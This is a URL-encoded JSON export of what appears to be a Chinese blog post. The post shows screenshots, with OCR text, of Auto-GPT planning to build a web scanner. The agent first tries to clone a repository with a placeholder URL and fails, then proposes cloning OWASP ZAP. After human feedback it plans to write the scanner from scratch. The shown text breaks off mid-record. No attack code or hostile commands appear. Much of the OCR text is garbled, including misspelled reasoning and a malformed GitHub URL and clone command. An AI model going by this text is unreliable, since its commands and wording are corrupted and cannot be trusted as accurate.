%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u0e60cb27-3a72-416d-afa6-2a681110627%22%2C%22clientId%22%3A%22ued6ff72c-31c3-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A470%2C%22y%22%3A-2%2C%22width%22%3A242%2C%22height%22%3A27%2C%22text%22%3A%22YOUR%20SERVICE.%22%7D%2C%7B%22x%22%3A10%2C%22y%22%3A-1%2C%22width%22%3A445%2C%22height%22%3A27%2C%22text%22%3A%22TEST-GET%20HERE!%20I%20AM%20AT%22%7D%2C%7B%22x%22%3A497%2C%22y%22%3A29%2C%22width%22%3A330%2C%22height%22%3A37%2C%22text%22%3A%22FOR%20EXAMPLE%2C%20&#39;AN%20A%22%7D%2C%7B%22x%22%3A9%2C%22y%22%3A33%2C%22width%22%3A460%2C%22height%22%3A32%2C%22text%22%3A%22DESCRIBE%20YOUR%20AI&#39;S%20ROLE%3A%22%7D%2C%7B%22x%22%3A757%2C%22y%22%3A33%2C%22width%22%3A1521%2C%22height%22%3A34%2C%22text%22%3A%22&#39;AN%20AI%20DESIGNED%20TO%20AUTONOMOUSLY%20DEVELOP%20AND%20RUN%20BUSINESSES%20WITH%20THE%20SOLE%20GOAL%20OF%22%7D%2C%7B%22x%22%3A8%2C%22y%22%3A70%2C%22width%22%3A492%2C%22height%22%3A33%2C%22text%22%3A%22INCREASING%20YOUR%20NET%20WORTH.%22%7D%2C%7B%22x%22%3A9%2C%22y%22%3A108%2C%22width%22%3A676%2C%22height%22%3A35%2C%22text%22%3A%22TEST-GETIS%3A%E6%88%91%E6%83%B3%E8%A6%81%E5%86%99%E4%B8%80%E4%B8%AAWEB%E6%89%AB%E6%8F%8F%E5%99%A8%22%7D%2C%7B%22x%22%3A9%2C%22y%22%3A145%2C%22width%22%3A2286%2C%22height%22%3A35%2C%22text%22%3A%22ENTOR%20UP%20TO%208%209OALS%20FOR%20YOUER%20ATI%2C%20%20FOR%20EXANPLE%3B%20INER%20NET%20WERTH%2C%20ORON%20TUITTER%20ACCOUNT%2C%20DEVELOPE%20MUTT%22%7D%2C%7B%22x%22%3A8%2C%22y%22%3A181%2C%22width%22%3A414%2C%22height%22%3A35%2C%22text%22%3A%22INESSES%20AUTONOMOUSLY%22%7D%2C%7B%22x%22%3A7%2C%22y%22%3A222%2C%22width%22%3A1141%2C%22height%22%3A31%2C%22text%22%3A%22ENTER%20NOTHING%20TO%20LOAD%20DEFAULTS.%20ENTER%20NOTHING%20WHEN%20FINISHED.%22%7D%2C%7B%22x%22%3A9%2C%22y%22%3A260%2C%22width%22%3A138%2C%22height%22%3A33%2C%22text%22%3A%22GOAL%201%3A%22%7D%2C%7B%22x%22%3A6%2C%22y%22%3A294%2C%22width%22%3A641%2C%22height%22%3A40%2C%22text%22%3A%22USING%20MEMORY%20OF%20TYPE%3A%20LOCALCACHE%22%7D%2C%7B%22x%22%3A10%2C%22y%22%3A336%2C%22width%22%3A437%2C%22height%22%3A33%2C%22text%22%3A%22USING%20BROWSER%3A%20CHROME%22%7D%2C%7B%22x%22%3A26%2C%22y%22%3A370%2C%22width%22%3A1868%2C%22height%22%3A43%2C%22text%22%3A%22THOUGHIS%3A%20I%20SUGGEST%20WE%20START%20BY%20CLONING%20A%20WEB%20SCANNER%20REPOSITORY%20TO%20GET%20STARTED%20WITH%20THE%20PROJECT%22%7D%2C%7B%22x%22%3A12%2C%22y%22%3A412%2C%22width%22%3A1531%2C%22height%22%3A30%2C%22text%22%3A%22REASONING%3A%20CLONING%20A%20WEB%20SCANNER%20REPOSITORY%20WILL%20QIVE%20US%20A%20QOOD%20STARTING%20POINT%22%7D%2C%7B%22x%22%3A1601%2C%22y%22%3A412%2C%22width%22%3A692%2C%22height%22%3A32%2C%22text%22%3A%22OUR%20PROJECT%20AND%20SAVE%20US%20TIME%20IN%20DEVE%22%7D%2C%7B%22x%22%3A1502%2C%22y%22%3A416%2C%22width%22%3A113%2C%22height%22%3A28%2C%22text%22%3A%22TFOR%20C%22%7D%2C%7B%22x%22%3A10%2C%22y%22%3A446%2C%22width%22%3A586%2C%22height%22%3A45%2C%22text%22%3A%22LOPING%20THE%20BASIC%20FUNCTIONALITY.%22%7D%2C%7B%22x%22%3A11%2C%22y%22%3A488%2C%22width%22%3A86%2C%22height%22%3A31%2C%22text%22%3A%22PLAN%3A%22%7D%2C%7B%22x%22%3A67%2C%22y%22%3A528%2C%22width%22%3A594%2C%22height%22%3A35%2C%22text%22%3A%22CLONE%20A%20WEB%20SCANNER%20REPOSITORY%22%7D%2C%7B%22x%22%3A64%2C%22y%22%3A563%2C%22width%22%3A824%2C%22height%22%3A33%2C%22text%22%3A%22ANALYZE%20THE%20CODE%20TO%20UNDERSTAND%20HOW%20IT%20WORKS%22%7D%2C%7B%22x%22%3A66%2C%22y%22%3A603%2C%22width%22%3A621%2C%22height%22%3A33%2C%22text%22%3A%22IMPROVE%20THE%20CODE%20TO%20FIT%20OUR%20NEEDS%22%7D%2C%7B%22x%22%3A64%2C%22y%22%3A641%2C%22width%22%3A699%2C%22height%22%3A32%2C%22text%22%3A%22WRITE%20TESTS%20TO%20ENSURE%20THE%20CODE%20WORKS%22%7D%2C%7B%22x%22%3A740%2C%22y%22%3A643%2C%22width%22%3A240%2C%22height%22%3A29%2C%22text%22%3A%22AS%20EXPECTED%22%7D%2C%7B%22x%22%3A65%2C%22y%22%3A675%2C%22width%22%3A530%2C%22height%22%3A35%2C%22text%22%3A%22EXECUTE%20THE%20CODE%20TO%20TEST%20IT%22%7D%2C%7B%22x%22%3A67%2C%22y%22%3A714%2C%22width%22%3A800%2C%22height%22%3A32%2C%22text%22%3A%22GENERATE%20AN%20IMAGE%20TO%20VISUALIZE%20THE%20RESULTS%22%7D%2C%7B%22x%22%3A59%2C%22y%22%3A755%2C%22width%22%3A675%2C%22height%22%3A32%2C%22text%22%3A%22SEND%20A%20TWEET%20TO%20PROMOTE%20OUR%20PROJECT%22%7D%2C%7B%22x%22%3A1043%2C%22y%22%3A827%2C%22width%22%3A575%2C%22height%22%3A36%2C%22text%22%3A%22OT%20CONTAIN%20ANY%20VULNERABILIES.%22%7D%2C%7B%22x%22%3A24%2C%22y%22%3A832%2C%22width%22%3A267%2C%22height%22%3A30%2C%22text%22%3A%22NEED%20TO%20MAKE%20SI%22%7D%2C%7B%22x%22%3A242%2C%22y%22%3A830%2C%22width%22%3A855%2C%22height%22%3A34%2C%22text%22%3A%22KE%20SURE%20THAT%20THE%20CODE%20IS%20SECURE%20AND%20DOES%20NOT%20CO%22%7D%2C%7B%22x%22%3A10%2C%22y%22%3A864%2C%22width%22%3A590%2C%22height%22%3A41%2C%22text%22%3A%22NEXT%20ACTION%3A%20COMMAND%20%E4%B8%89%20CLONE_RE%22%7D%2C%7B%22x%22%3A1553%2C%22y%22%3A863%2C%22width%22%3A531%2C%22height%22%3A38%2C%22text%22%3A%22&#39;CLONE_PATH&#39;%3A%20&#39;%3CDIRECTORY%3E&#39;%7D%22%7D%2C%7B%22x%22%3A464%2C%22y%22%3A865%2C%22width%22%3A946%2C%22height%22%3A36%2C%22text%22%3A%22CLONE_REPOSITORY%20ARGUMENTS%20%3B%20%7B&#39;REPOSITORV_URL&#39;%3A%20&#39;%3C&#39;%3C%22%7D%2C%7B%22x%22%3A1308%2C%22y%22%3A871%2C%22width%22%3A251%2C%22height%22%3A30%2C%22text%22%3A%22&#39;L%3A%3A%20%60URT%3E&#39;%2C%22%7D%2C%7B%22x%22%3A122%2C%22y%22%3A905%2C%22width%22%3A200%2C%22height%22%3A36%2C%22text%22%3A%22&#39;Y&#39;TO%20AUTH%22%7D%2C%7B%22x%22%3A1388%2C%22y%22%3A907%2C%22width%22%3A735%2C%22height%22%3A33%2C%22text%22%3A%22TO%20EXIT%20PROGRAM%2C%20OR%20ENTER%20FEEDBACK%20FOR%22%7D%2C%7B%22x%22%3A254%2C%22y%22%3A908%2C%22width%22%3A1112%2C%22height%22%3A32%2C%22text%22%3A%22AUTHORISE%20COMMAND%2C%20&#39;Y%20-N&#39;%20TO%20RUN%20N%20CONTINUOUS%20COMMANDS%2C%20&#39;N&#39;%22%7D%2C%7B%22x%22%3A8%2C%22y%22%3A908%2C%22width%22%3A101%2C%22height%22%3A27%2C%22text%22%3A%22ENTER%22%7D%2C%7B%22x%22%3A10%2C%22y%22%3A948%2C%22width%22%3A99%2C%22height%22%3A27%2C%22text%22%3A%22INPUT%22%7D%5D%2C%22search%22%3A%22YOUR%20SERVICE.%20TEST-GET%20HERE!%20I%20AM%20AT%20FOR%20EXAMPLE%2C%20&#39;AN%20A%20DESCRIBE%20YOUR%20AI&#39;S%20ROLE%3A%20&#39;AN%20AI%20DESIGNED%20TO%20AUTONOMOUSLY%20DEVELOP%20AND%20RUN%20BUSINESSES%20WITH%20THE%20SOLE%20GOAL%20OF%20INCREASING%20YOUR%20NET%20WORTH.%20TEST-GETIS%3A%E6%88%91%E6%83%B3%E8%A6%81%E5%86%99%E4%B8%80%E4%B8%AAWEB%E6%89%AB%E6%8F%8F%E5%99%A8%20ENTOR%20UP%20TO%208%209OALS%20FOR%20YOUER%20ATI%2C%20%20FOR%20EXANPLE%3B%20INER%20NET%20WERTH%2C%20ORON%20TUITTER%20ACCOUNT%2C%20DEVELOPE%20MUTT%20INESSES%20AUTONOMOUSLY%20ENTER%20NOTHING%20TO%20LOAD%20DEFAULTS.%20ENTER%20NOTHING%20WHEN%20FINISHED.%20GOAL%201%3A%20USING%20MEMORY%20OF%20TYPE%3A%20LOCALCACHE%20USING%20BROWSER%3A%20CHROME%20THOUGHIS%3A%20I%20SUGGEST%20WE%20START%20BY%20CLONING%20A%20WEB%20SCANNER%20REPOSITORY%20TO%20GET%20STARTED%20WITH%20THE%20PROJECT%20REASONING%3A%20CLONING%20A%20WEB%20SCANNER%20REPOSITORY%20WILL%20QIVE%20US%20A%20QOOD%20STARTING%20POINT%20OUR%20PROJECT%20AND%20SAVE%20US%20TIME%20IN%20DEVE%20TFOR%20C%20LOPING%20THE%20BASIC%20FUNCTIONALITY.%20PLAN%3A%20CLONE%20A%20WEB%20SCANNER%20REPOSITORY%20ANALYZE%20THE%20CODE%20TO%20UNDERSTAND%20HOW%20IT%20WORKS%20IMPROVE%20THE%20CODE%20TO%20FIT%20OUR%20NEEDS%20WRITE%20TESTS%20TO%20ENSURE%20THE%20CODE%20WORKS%20AS%20EXPECTED%20EXECUTE%20THE%20CODE%20TO%20TEST%20IT%20GENERATE%20AN%20IMAGE%20TO%20VISUALIZE%20THE%20RESULTS%20SEND%20A%20TWEET%20TO%20PROMOTE%20OUR%20PROJECT%20OT%20CONTAIN%20ANY%20VULNERABILIES.%20NEED%20TO%20MAKE%20SI%20KE%20SURE%20THAT%20THE%20CODE%20IS%20SECURE%20AND%20DOES%20NOT%20CO%20NEXT%20ACTION%3A%20COMMAND%20%E4%B8%89%20CLONE_RE%20&#39;CLONE_PATH&#39;%3A%20&#39;%3CDIRECTORY%3E&#39;%7D%20CLONE_REPOSITORY%20ARGUMENTS%20%3B%20%7B&#39;REPOSITORV_URL&#39;%3A%20&#39;%3C&#39;%3C%20&#39;L%3A%3A%20%60URT%3E&#39;%2C%20&#39;Y&#39;TO%20AUTH%20TO%20EXIT%20PROGRAM%2C%20OR%20ENTER%20FEEDBACK%20FOR%20AUTHORISE%20COMMAND%2C%20&#39;Y%20-N&#39;%20TO%20RUN%20N%20CONTINUOUS%20COMMANDS%2C%20&#39;N&#39;%20ENTER%20INPUT%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23343333%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u1226ff97%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uc7c2205d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22auto-gpt%E5%9C%A8%E5%88%86%E6%9E%90%E4%BA%86%E6%88%91%E7%9A%84%E9%9C%80%E6%B1%82%E4%B9%8B%E5%90%8E%EF%BC%8C%E6%8F%90%E5%87%BA%E4%BA%86%E4%B8%80%E4%B8%AA%E8%AE%A1%E5%88%92%EF%BC%8C%E6%98%AF%E5%85%88%E5%8E%BB%E6%89%BE%E4%B8%80%E4%B8%AA%E7%BD%91%E4%B8%8A%E7%9A%84%E6%89%AB%E6%8F%8F%E5%99%A8%E7%84%B6%E5%90%8E%E5%86%8D%E6%A0%B9%E6%8D%AE%E9%9C%80%E6%B1%82%E6%94%B9%E8%BF%9B%EF%BC%8C%E8%BF%98%E6%8F%90%E9%86%92%E6%88%91%E5%B0%8F%E5%BF%83%E4%BB%A3%E7%A0%81%E7%9A%84%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98%EF%BC%8C%E4%B8%8D%E8%A6%81%E7%9B%B2%E7%9B%AE%E7%9A%84clone%E4%BB%A3%E7%A0%81%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ufe383ae0%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u180977dc%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%A6%82%E6%9E%9C%E6%88%91%E4%BB%AC%E7%BB%A7%E7%BB%AD%E8%AE%A9%E4%BB%96%E5%88%86%E6%9E%90%EF%BC%8C%E4%BB%96%E4%BC%9A%E7%BB%A7%E7%BB%AD%E6%8A%8A%E5%88%86%E6%9E%90%E7%9A%84%E5%86%85%E5%AE%B9%E7%BB%86%E5%8C%96%E5%B9%B6%E6%B7%B1%E5%85%A5%EF%BC%8C%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E6%8C%87%E5%AE%9A%E8%BF%9E%E7%BB%AD%E5%A4%9A%E6%AD%A5%E5%8E%BB%E5%88%86%E6%9E%90%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u73e6cd72%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u98bf9aba%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682678280319-25c54fb4-3d32-4980-9d35-a36af8afaca1.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A2318%2C%22height%22%3A732%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A88554%2C%22width%22%3A2107.272681598822%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22ud37e0d95-de70-47a2-86aa-451dfb51393%22%2C%22clientId%22%3A%22ued6ff72c-31c3-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A94%2C%22y%22%3A11%2C%22width%22%3A823%2C%22height%22%3A36%2C%22text%22%3A%22-%E4%B8%89-%E4%B8%89------%20COMMAND%20AUTHORISED%20BY%20USER%20-%E4%B8%89--%E4%B8%89--%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A47%2C%22width%22%3A1725%2C%22height%22%3A37%2C%22text%22%3A%22SYSTEH%3A%20COMMAND%20CLONE-REPOSITORY%20RETURNED%3A%20ERROR%3A%20CMD(&#39;GIT&#39;)%20FAILED%20DUE%20TO%3A%20EXIT%20CODE(128)%22%7D%2C%7B%22x%22%3A1745%2C%22y%22%3A53%2C%22width%22%3A538%2C%22height%22%3A34%2C%22text%22%3A%22CMDLINE%3AGIT%20CLONE-V-----%3CUR%22%7D%2C%7B%22x%22%3A1735%2C%22y%22%3A83%2C%22width%22%3A524%2C%22height%22%3A40%2C%22text%22%3A%22ITORV%20&#39;%3CURL%3E&#39;%20DOES%20NOT%20EXIST%20&#39;%22%7D%2C%7B%22x%22%3A4%2C%22y%22%3A87%2C%22width%22%3A1844%2C%22height%22%3A38%2C%22text%22%3A%221%3E%20D%3A%2FPROARAM%2FAUTO-GPT)AUTO-GPT-O%3A2%2C2%2FAUTO-SPT%2CWORKSPACE%5C%5C%3CDIRECTORY%3E%20STDERT%3A%20&#39;FATAL%3A%20REPOSITORY%20%22%7D%2C%7B%22x%22%3A17%2C%22y%22%3A128%2C%22width%22%3A183%2C%22height%22%3A28%2C%22text%22%3A%22THOUGHTS%3A%22%7D%2C%7B%22x%22%3A72%2C%22y%22%3A165%2C%22width%22%3A1021%2C%22height%22%3A34%2C%22text%22%3A%22&#39;OWASP%20ZAP&#39;%20REPOSITORY%2C%20WHICH%20IS%20A%20POPULAR%20WEB%20SCANNER%22%7D%2C%7B%22x%22%3A1044%2C%22y%22%3A167%2C%22width%22%3A189%2C%22height%22%3A31%2C%22text%22%3A%22TOOL.%22%7D%2C%7B%22x%22%3A-3%2C%22y%22%3A168%2C%22width%22%3A206%2C%22height%22%3A26%2C%22text%22%3A%22HE%20%20OWASP%20Z%22%7D%2C%7B%22x%22%3A5%2C%22y%22%3A204%2C%22width%22%3A2151%2C%22height%22%3A32%2C%22text%22%3A%22AEASOITIA%3A%20CLONENG%20A%20PEPILL%20%20SEANNER%20TOQL%20%20DEL%20%20ZEHE%20ONASP%20WALL%209LVE%20US%20A%2093D%20SEAREING%20PAZ%20OUE%20PEGJEC%22%7D%2C%7B%22x%22%3A2074%2C%22y%22%3A207%2C%22width%22%3A209%2C%22height%22%3A27%2C%22text%22%3A%22ECT%20AND%20SAV%22%7D%2C%7B%22x%22%3A-1%2C%22y%22%3A243%2C%22width%22%3A906%2C%22height%22%3A33%2C%22text%22%3A%22E%20US%20TIME%20IN%20DEVELOPING%20THE%20BASIC%20FUNCTIONALITY.%22%7D%2C%7B%22x%22%3A4%2C%22y%22%3A281%2C%22width%22%3A85%2C%22height%22%3A27%2C%22text%22%3A%22PLAN%3A%22%7D%2C%7B%22x%22%3A54%2C%22y%22%3A316%2C%22width%22%3A589%2C%22height%22%3A34%2C%22text%22%3A%22CLONE%20THE%20OWASP%20ZAP%20REPOSITORY%22%7D%2C%7B%22x%22%3A57%2C%22y%22%3A357%2C%22width%22%3A821%2C%22height%22%3A29%2C%22text%22%3A%22ANALYZE%20THE%20CODE%20TO%20UNDERSTAND%20HOW%20IT%20WORKS%22%7D%2C%7B%22x%22%3A56%2C%22y%22%3A394%2C%22width%22%3A629%2C%22height%22%3A30%2C%22text%22%3A%22IMPROVE%20THE%20CODE%20TO%20FIT%20OUR%20NEEDS%22%7D%2C%7B%22x%22%3A55%2C%22y%22%3A431%2C%22width%22%3A789%2C%22height%22%3A32%2C%22text%22%3A%22WRITE%20TESTS%20TO%20ENSURE%20THE%20CODE%20WORKS%20EX%22%7D%2C%7B%22x%22%3A801%2C%22y%22%3A433%2C%22width%22%3A172%2C%22height%22%3A30%2C%22text%22%3A%22EXPECTED%22%7D%2C%7B%22x%22%3A56%2C%22y%22%3A469%2C%22width%22%3A532%2C%22height%22%3A32%2C%22text%22%3A%22EXECUTE%20THE%20CODE%20TO%20TEST%20IT%22%7D%2C%7B%22x%22%3A56%2C%22y%22%3A507%2C%22width%22%3A803%2C%22height%22%3A33%2C%22text%22%3A%22GENERATE%20AN%20IMAGE%20TO%20VISUALIZE%20THE%20RESULTS%22%7D%2C%7B%22x%22%3A51%2C%22y%22%3A546%2C%22width%22%3A682%2C%22height%22%3A31%2C%22text%22%3A%22SEND%20A%20TWEET%20TO%20PROMOTE%20OUR%20PROJECT%22%7D%2C%7B%22x%22%3A4%2C%22y%22%3A581%2C%22width%22%3A2280%2C%22height%22%3A37%2C%22text%22%3A%22CRTICISH%3A%20I%20NEED%20TO%20BE%20CAREFUL%20NOT%20TO%20BLING%20HONY%20COPY%20CODE%20FTON%20THE%20ROPOSITHOUT%20INDERSTAN%20IT%20WORKS.%20I%22%7D%2C%7B%22x%22%3A15%2C%22y%22%3A624%2C%22width%22%3A1584%2C%22height%22%3A33%2C%22text%22%3A%22NEED%20TO%20MAKE%20SURE%20THAT%20THE%20CODE%20IS%20SECURE%20AND%20DOES%20NOT%20CONTAIN%20ANY%20VULNERABILITIES%22%7D%2C%7B%22x%22%3A450%2C%22y%22%3A659%2C%22width%22%3A1839%2C%22height%22%3A34%2C%22text%22%3A%22%5BCLONE-TEPOSITORY%20ARGUNENTS%20%E4%B8%89%20%5B&#39;TEPOSITORY-URL&#39;%3B&#39;HTTPS%3A%2F%2FGITHUB%3ACON%2FZAPROX)%2FZAPROXY.93T&#39;%2C&#39;CLONG%22%7D%2C%7B%22x%22%3A-2%2C%22y%22%3A658%2C%22width%22%3A505%2C%22height%22%3A34%2C%22text%22%3A%22NEXT%20ACTION%3A%20COMMAND%20%E4%B8%89%20CLOL%22%7D%2C%7B%22x%22%3A18%2C%22y%22%3A697%2C%22width%22%3A347%2C%22height%22%3A31%2C%22text%22%3A%22_PATH&#39;%3A%20&#39;OWASP-ZAP&#39;%E4%BA%86%22%7D%5D%2C%22search%22%3A%22-%E4%B8%89-%E4%B8%89------%20COMMAND%20AUTHORISED%20BY%20USER%20-%E4%B8%89--%E4%B8%89--%20SYSTEH%3A%20COMMAND%20CLONE-REPOSITORY%20RETURNED%3A%20ERROR%3A%20CMD(&#39;GIT&#39;)%20FAILED%20DUE%20TO%3A%20EXIT%20CODE(128)%20CMDLINE%3AGIT%20CLONE-V-----%3CUR%20ITORV%20&#39;%3CURL%3E&#39;%20DOES%20NOT%20EXIST%20&#39;%201%3E%20D%3A%2FPROARAM%2FAUTO-GPT)AUTO-GPT-O%3A2%2C2%2FAUTO-SPT%2CWORKSPACE%5C%5C%3CDIRECTORY%3E%20STDERT%3A%20&#39;FATAL%3A%20REPOSITORY%20%20THOUGHTS%3A%20&#39;OWASP%20ZAP&#39;%20REPOSITORY%2C%20WHICH%20IS%20A%20POPULAR%20WEB%20SCANNER%20TOOL.%20HE%20%20OWASP%20Z%20AEASOITIA%3A%20CLONENG%20A%20PEPILL%20%20SEANNER%20TOQL%20%20DEL%20%20ZEHE%20ONASP%20WALL%209LVE%20US%20A%2093D%20SEAREING%20PAZ%20OUE%20PEGJEC%20ECT%20AND%20SAV%20E%20US%20TIME%20IN%20DEVELOPING%20THE%20BASIC%20FUNCTIONALITY.%20PLAN%3A%20CLONE%20THE%20OWASP%20ZAP%20REPOSITORY%20ANALYZE%20THE%20CODE%20TO%20UNDERSTAND%20HOW%20IT%20WORKS%20IMPROVE%20THE%20CODE%20TO%20FIT%20OUR%20NEEDS%20WRITE%20TESTS%20TO%20ENSURE%20THE%20CODE%20WORKS%20EX%20EXPECTED%20EXECUTE%20THE%20CODE%20TO%20TEST%20IT%20GENERATE%20AN%20IMAGE%20TO%20VISUALIZE%20THE%20RESULTS%20SEND%20A%20TWEET%20TO%20PROMOTE%20OUR%20PROJECT%20CRTICISH%3A%20I%20NEED%20TO%20BE%20CAREFUL%20NOT%20TO%20BLING%20HONY%20COPY%20CODE%20FTON%20THE%20ROPOSITHOUT%20INDERSTAN%20IT%20WORKS.%20I%20NEED%20TO%20MAKE%20SURE%20THAT%20THE%20CODE%20IS%20SECURE%20AND%20DOES%20NOT%20CONTAIN%20ANY%20VULNERABILITIES%20%5BCLONE-TEPOSITORY%20ARGUNENTS%20%E4%B8%89%20%5B&#39;TEPOSITORY-URL&#39;%3B&#39;HTTPS%3A%2F%2FGITHUB%3ACON%2FZAPROX)%2FZAPROXY.93T&#39;%2C&#39;CLONG%20NEXT%20ACTION%3A%20COMMAND%20%E4%B8%89%20CLOL%20_PATH&#39;%3A%20&#39;OWASP-ZAP&#39;%E4%BA%86%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23353535%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uf4ea26c2%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua488645a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%BD%93%E7%84%B6%E9%99%A4%E4%BA%86%E8%AE%A9%E4%BB%96%E7%BB%A7%E7%BB%AD%E5%88%86%E6%9E%90%EF%BC%8C%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E7%BB%99%E4%B8%8E%E4%B8%80%E4%BA%9B%E4%BA%BA%E5%B7%A5%E7%9A%84%E5%B9%B2%E9%A2%84%EF%BC%8C%E6%AF%94%E5%A6%82%E6%88%91%E8%AF%B4%E6%88%91%E4%B8%8D%E6%83%B3%E8%A6%81%E5%88%AB%E4%BA%BA%E7%9A%84%E4%BB%A3%E7%A0%81%EF%BC%8C%E6%88%91%E6%83%B3%E8%A6%81%E8%87%AA%E5%B7%B1%E5%86%99%EF%BC%8C%E4%BB%96%E6%8C%87%E5%87%BA%E6%88%91%E4%BB%AC%E9%9C%80%E8%A6%81%E5%A5%BD%E5%A5%BD%E5%88%86%E6%9E%90%E9%9C%80%E6%B1%82%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ucb87f6c9%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22uf6321956%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682678374773-bf4512b5-1c65-4ffe-a0d0-7a0968e769dc.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A2332%2C%22height%22%3A696%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A72182%2C%22width%22%3A2119.9999540502386%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u173eabd1-7fd7-4ddb-ba1d-41caf958068%22%2C%22clientId%22%3A%22ued6ff72c-31c3-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A5%2C%22y%22%3A5%2C%22width%22%3A615%2C%22height%22%3A41%2C%22text%22%3A%22INPUT%3A%E6%88%91%E6%83%B3%E8%A6%81%E8%87%AA%E5%B7%B1%E5%86%99%E4%B8%80%E4%B8%AA%2C%E4%BB%8E%E5%A4%B4%E5%BC%80%E5%A7%8B%22%7D%2C%7B%22x%22%3A4%2C%22y%22%3A44%2C%22width%22%3A972%2C%22height%22%3A37%2C%22text%22%3A%22SYSTEM%3AHUMAN%20FEEDBACK%3A%E6%88%91%E6%83%B3%E8%A6%81%E8%87%AA%E5%B7%B1%E5%86%99%E4%B8%80%E4%B8%AA%2C%E4%BB%8E%E5%A4%B4%E5%BC%80%E5%A7%8B%22%7D%2C%7B%22x%22%3A226%2C%22y%22%3A84%2C%22width%22%3A2017%2C%22height%22%3A35%2C%22text%22%3A%22IF%20YOU%20MANT%20TO%20URITE%20A%20NEB%20SCANNER%20FTOM%20SCRATCH%2C%20WE%20CAN%20START%20BY%20ANALYZING%20THE%20REQUIRENTS%20AND%20DESTONI%22%7D%2C%7B%22x%22%3A25%2C%22y%22%3A85%2C%22width%22%3A248%2C%22height%22%3A33%2C%22text%22%3A%22THOUGHTS%3A%20IF%22%7D%2C%7B%22x%22%3A2217%2C%22y%22%3A85%2C%22width%22%3A70%2C%22height%22%3A30%2C%22text%22%3A%22G%20TH%22%7D%2C%7B%22x%22%3A2%2C%22y%22%3A123%2C%22width%22%3A418%2C%22height%22%3A32%2C%22text%22%3A%22E%20BASIC%20FUNCTIONALITY.%22%7D%2C%7B%22x%22%3A6%2C%22y%22%3A163%2C%22width%22%3A226%2C%22height%22%3A28%2C%22text%22%3A%22REASONING%3A%22%7D%2C%7B%22x%22%3A8%2C%22y%22%3A201%2C%22width%22%3A1497%2C%22height%22%3A38%2C%22text%22%3A%22WEVER%2C%20IT%20WILL%20REQUIRE%20MORE%20TIME%20AND%20EFFORT%20TO%20DEVELOP%20THE%20BASIC%20FUNCTIONALITY%22%7D%2C%7B%22x%22%3A7%2C%22y%22%3A240%2C%22width%22%3A102%2C%22height%22%3A27%2C%22text%22%3A%22PLAN%3A%22%7D%2C%7B%22x%22%3A62%2C%22y%22%3A277%2C%22width%22%3A842%2C%22height%22%3A31%2C%22text%22%3A%22ANALYZE%20THE%20REQUIREMENTS%20FOR%20THE%20WEB%20SCANNER%22%7D%2C%7B%22x%22%3A62%2C%22y%22%3A314%2C%22width%22%3A585%2C%22height%22%3A33%2C%22text%22%3A%22DESIGN%20THE%20BASIC%20FUNCTIONALITY%22%7D%2C%7B%22x%22%3A61%2C%22y%22%3A352%2C%22width%22%3A631%2C%22height%22%3A33%2C%22text%22%3A%22IMPLEMENT%20THE%20BASIC%20FUNCTIONALITY%22%